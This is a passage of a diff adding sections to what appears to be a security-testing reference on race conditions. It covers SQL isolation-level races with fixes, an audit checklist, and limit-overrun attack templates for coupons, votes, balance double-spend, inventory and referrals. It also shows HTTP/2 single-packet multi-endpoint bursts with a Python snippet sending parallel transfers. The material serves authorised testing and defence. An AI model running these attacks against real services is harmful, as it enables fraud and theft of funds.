377
+ ```
378
+
379
+ **Fix verification**: `SELECT ... FOR UPDATE` should block Thread B's SELECT until Thread A commits.
380
+
381
+ ### REPEATABLE READ Phantom Insert
382
+
383
+ ```sql
384
+ -- Thread A (snapshot at T0) -- Thread B (snapshot at T0)
385
+ SELECT count(*) FROM claims SELECT count(*) FROM claims
386
+ WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
387
+ -- returns 0 (snapshot) -- returns 0 (snapshot)
388
+ INSERT INTO claims ...; INSERT INTO claims ...;
389
+ COMMIT; -- succeeds COMMIT; -- succeeds ← duplicate claim
390
+ ```
391
+
392
+ **Fix**: `UNIQUE(user_id, coupon_id)` constraint causes one INSERT to fail with duplicate key error regardless of isolation level.
393
+
394
+ ### SERIALIZABLE Advisory Lock Bypass
395
+
396
+ ```sql
397
+ -- Application intends: one lock per coupon
398
+ SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
399
+ -- Bypass vectors:
400
+ -- 1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
401
+ -- 2. Different code path reaches claim logic without acquiring the lock
402
+ -- 3. Attacker triggers claim via alternative API endpoint that lacks locking
403
+ ```
404
+
405
+ ### Quick Audit Checklist
406
+
407
+ ```text
408
+ □ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
409
+ □ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
410
+ □ Is the check-then-act sequence inside a single transaction?
411
+ □ Are UNIQUE constraints enforced on the critical state table?
412
+ □ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?
413
+ ```
414
+
415
+ ---
416
+
417
+ ## 11. LIMIT-OVERRUN ATTACK PATTERNS
418
+
419
+ ### 11.1 Coupon / Promo Code Reuse
420
+
421
+ ```text
422
+ Target: POST /api/apply-coupon {"code":"SUMMER50"}
423
+ Expected: One use per user
424
+ Attack: 20 parallel identical requests
425
+ Evidence: Multiple 200 responses, final order total = N × discount applied
426
+ ```
427
+
428
+ Variations: same coupon across different cart items; apply-coupon + checkout in parallel (coupon consumed only at checkout).
429
+
430
+ ### 11.2 Vote / Rating Manipulation
431
+
432
+ ```text
433
+ Target: POST /api/vote {"post_id":123,"direction":"up"}
434
+ Expected: One vote per user per post
435
+ Attack: 50 parallel vote requests
436
+ Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
437
+ ```
438
+
439
+ ### 11.3 Balance Double-Spend
440
+
441
+ ```text
442
+ Target: POST /api/transfer {"to":"attacker","amount":100}
443
+ Balance: Exactly 100
444
+ Attack: 2+ parallel transfers
445
+ Evidence: Both succeed, sender balance goes negative, recipient receives 200
446
+ ```
447
+
448
+ Higher-value variant: withdrawal to external system (crypto, bank wire) where reversal is difficult.
449
+
450
+ ### 11.4 Inventory Oversell
451
+
452
+ ```text
453
+ Target: POST /api/purchase {"item_id":"limited_edition","qty":1}
454
+ Stock: 1 remaining
455
+ Attack: 20 parallel purchase requests
456
+ Evidence: Multiple orders created, stock counter goes negative
457
+ ```
458
+
459
+ Compound attack: add-to-cart and checkout are separate steps, each checking inventory independently.
460
+
461
+ ### 11.5 Referral / Signup Bonus
462
+
463
+ ```text
464
+ Target: POST /api/referral/claim {"code":"REF_ABC"}
465
+ Expected: One claim per referred user
466
+ Attack: Parallel claims from same session
467
+ Evidence: Bonus credited to referrer multiple times
468
+ ```
469
+
470
+ ---
471
+
472
+ ## 12. SINGLE-PACKET MULTI-ENDPOINT ATTACK
473
+
474
+ Instead of N copies of the same request, send requests to **different endpoints** in one HTTP/2 single-packet burst. This widens the TOCTOU window by hitting both the check and use paths simultaneously.
475
+
476
+ ### Pattern 1: State-check + State-mutate
477
+
478
+ ```text
479
+ Single TCP segment:
480
+ Stream 1: GET /api/balance ← probe pre-state
481
+ Stream 3: POST /api/transfer ← mutate
482
+ Stream 5: POST /api/transfer ← mutate (duplicate)
483
+ Stream 7: GET /api/balance ← probe post-state
484
+ ```
485
+
486
+ Balance inconsistency between stream 1 and stream 7 confirms the race window was hit.
487
+
488
+ ### Pattern 2: Cross-resource race
489
+
490
+ ```text
491
+ Single TCP segment:
492
+ Stream 1: POST /api/coupon/apply ← apply discount
493
+ Stream 3: POST /api/order/checkout ← finalize order
494
+ ```
495
+
496
+ If coupon application and checkout check prices independently, the discount may apply after checkout has locked the price.
497
+
498
+ ### Pattern 3: Auth verification + Privileged action
499
+
500
+ ```text
501
+ Single TCP segment:
502
+ Stream 1: POST /api/email/verify?token=TOKEN ← verify email
503
+ Stream 3: POST /api/account/upgrade ← requires verified email
504
+ ```
505
+
506
+ Upgrade may succeed during the brief window where verification is processing but not yet committed.
507
+
508
+ ### Practical setup
509
+
510
+ Burp Repeater: add requests targeting **different paths** to the same group → "Send group (single packet)".
511
+
512
+ ```python
513
+ headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
514
+ headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
515
+
516
+ all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
517
+ all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
518
+
519
+ h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
520
+ ```
521
+
522
+ ---
523
+
524
+ ## Related
525
+
526
+ - **business-logic-vulnerabilities** — workflow, coupon abuse, and logic-first checklists (`../business-logic-vulnerabilities/SKILL.md`).